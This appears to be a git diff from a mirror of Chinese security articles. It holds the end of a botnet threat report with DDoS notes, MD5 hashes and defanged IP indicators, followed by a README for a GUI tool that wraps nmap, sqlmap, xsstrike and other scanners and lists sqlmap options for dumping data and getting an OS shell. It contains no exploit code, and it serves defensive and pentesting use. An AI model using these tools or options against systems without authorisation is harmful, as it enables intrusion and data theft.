这类机器人的主要目标是执行压垮网站和服务的攻击(DDoS 攻击)。大多数机器人在设备重启后不会继续保持活跃状态,因为部分设备固件不允许修改文件系统。为了防止此类感染,我们建议一旦安全补丁发布,尽快更新易受攻击的设备。如果设备确实存在漏洞并已暴露,另一项可行的措施是恢复出厂设置。
|
||||
# 威胁指标(Indicators of Compromise)
|
||||
|
||||
**Host-based (MD5 hashes)**
|
||||
|
||||
011a406e89e603e93640b10325ebbdc8
|
||||
|
||||
24fd043f9175680d0c061b28a2801dfc
|
||||
|
||||
29b83f0aae7ed38d27ea37d26f3c9117
|
||||
|
||||
2e9920b21df472b4dd1e8db4863720bf
|
||||
|
||||
3120a5920f8ff70ec6c5a45d7bf2acc8
|
||||
|
||||
3c2f6175894bee698c61c6ce76ff9674
|
||||
|
||||
45a41ce9f4d8bb2592e8450a1de95dcc
|
||||
|
||||
524a57c8c595d9d4cd364612fe2f057c
|
||||
|
||||
74dee23eaa98e2e8a7fc355f06a11d97
|
||||
|
||||
761909a234ee4f1d856267abe30a3935
|
||||
|
||||
7eb3d72fa7d730d3dbca4df34fe26274
|
||||
|
||||
8a3e1176cb160fb42357fa3f46f0cbde
|
||||
|
||||
8d92e79b7940f0ac5b01bbb77737ca6c
|
||||
|
||||
95eaa3fa47a609ceefa24e8c7787bd99
|
||||
|
||||
96ee8cc2edc8227a640cef77d4a24e83
|
||||
|
||||
aaf34c27edfc3531cf1cf2f2e9a9c45b
|
||||
|
||||
ba32f4eef7de6bae9507a63bde1a43aa
|
||||
**IPs**
|
||||
|
||||
[116.203.104
|
||||
.]203
|
||||
|
||||
[130.61.64
|
||||
.]122
|
||||
|
||||
[161.97.219
|
||||
.]84
|
||||
|
||||
[130.61.69
|
||||
.]123
|
||||
|
||||
[185.84.81
|
||||
.]194
|
||||
|
||||
[54.36.111
|
||||
.]116
|
||||
|
||||
[192.3.165
|
||||
.]37
|
||||
|
||||
[162.243.19
|
||||
.]47
|
||||
|
||||
[63.231.92
|
||||
.]27
|
||||
|
||||
[80.152.203
|
||||
.]134
|
||||
|
||||
[42.112.26
|
||||
.]36
|
||||
|
||||
|
||||
|
||||
|
||||
获取更多精彩内容,尽在Track安全社区~:
|
||||
https://bbs.zkaq.cn
|
||||
|
||||
**声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学********习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!**
|
||||
|
||||
**如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。**
|
||||
|
||||
****
|
||||
****
|
||||
****
|
||||
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
# 漏洞赏金工具 v1.0
|
||||
ctkqiang 菜鸟学信安 2025-06-10 00:30
|
||||
|
||||
工具介绍
|
||||
##
|
||||
|
||||
漏洞赏金工具是一款专为安全研究人员和白帽子黑客设计的图形化渗透测试工具集。它集成了多个常用的安全测试工具,提供了直观的用户界面,让漏洞挖掘变得更加简单和高效。
|
||||
## 功能演示
|
||||
### 主界面
|
||||
|
||||

|
||||
## 主要特性
|
||||
- 美观的图形界面
|
||||
|
||||
- 支持多种主题切换(超级英雄风、赛博朋克、暗黑模式等)
|
||||
|
||||
- 实时日志输出展示
|
||||
|
||||
- 简洁直观的工具选择界面
|
||||
|
||||
- 集成多种渗透测试工具
|
||||
|
||||
- curl:HTTP 请求测试
|
||||
|
||||
- nmap:端口扫描和服务检测
|
||||
|
||||
- subfinder:子域名发现
|
||||
|
||||
- httpx:HTTP 服务探测
|
||||
|
||||
- dirsearch:Web 目录扫描
|
||||
|
||||
- xsstrike:XSS 漏洞扫描
|
||||
|
||||
- sqlmap:SQL 注入检测
|
||||
|
||||
- hakrawler:Web 爬虫工具
|
||||
|
||||
- 便捷的操作体验
|
||||
|
||||
- 一键启动多个工具
|
||||
|
||||
- 实时查看扫描进度
|
||||
|
||||
- 随时暂停/继续扫描
|
||||
|
||||
- 日志导出功能
|
||||
|
||||
- 高度可定制
|
||||
|
||||
- SQLMap 高级选项配置
|
||||
|
||||
- 自定义工具参数
|
||||
|
||||
- 灵活的主题切换
|
||||
|
||||
## 工具使用
|
||||
1. 启动程序:
|
||||
|
||||
```
|
||||
python3 run.py
|
||||
```
|
||||
1. 基本操作流程:
|
||||
|
||||
1. 在目标地址栏输入要测试的网站地址
|
||||
|
||||
1. 在工具选择区勾选需要使用的工具
|
||||
|
||||
1. 点击"开始扫描"按钮开始测试
|
||||
|
||||
1. 可随时点击"停止扫描"终止操作
|
||||
|
||||
1. SQLMap 高级选项:
|
||||
|
||||
1. 基础模式:基本的 SQL 注入测试
|
||||
|
||||
1. 高风险测试:使用更激进的测试方法
|
||||
|
||||
1. POST 请求:测试 POST 参数注入
|
||||
|
||||
1. Cookie 注入:测试 Cookie 中的注入点
|
||||
|
||||
1. 自定义头:添加自定义 HTTP 头
|
||||
|
||||
1. 枚举数据库:列出所有数据库
|
||||
|
||||
1. 枚举表:列出指定数据库的表
|
||||
|
||||
1. 枚举字段:列出指定表的字段
|
||||
|
||||
1. Dump 数据:导出指定数据
|
||||
|
||||
1. 代理模式:使用代理进行测试
|
||||
|
||||
1. OS Shell:尝试获取系统 Shell
|
||||
|
||||
1. 主题切换:
|
||||
|
||||
1. superhero:夜晚超级英雄风,深色高对比
|
||||
|
||||
1. vapor:赛博朋克紫色调,未来感满满
|
||||
|
||||
1. darkly:暗黑风格,柔和护眼
|
||||
|
||||
1. cyborg:机械感黑色主题
|
||||
|
||||
1. solar:明亮温暖的阳光色系
|
||||
|
||||
1. 快捷键操作:
|
||||
|
||||
1. Ctrl+S:保存日志
|
||||
|
||||
1. Ctrl+Q:退出程序
|
||||
|
||||
1. F5:清除日志
|
||||
|
||||
1. F1:显示帮助
|
||||
|
||||
## 项目地址
|
||||
|
||||
|
||||
https://github.com/ctkqiang/BBtool
|
||||
|
||||
https://www.ctkqiang.xin/BBtool/public/
|
||||
|
||||
|
||||
Reference in new issue
Block a user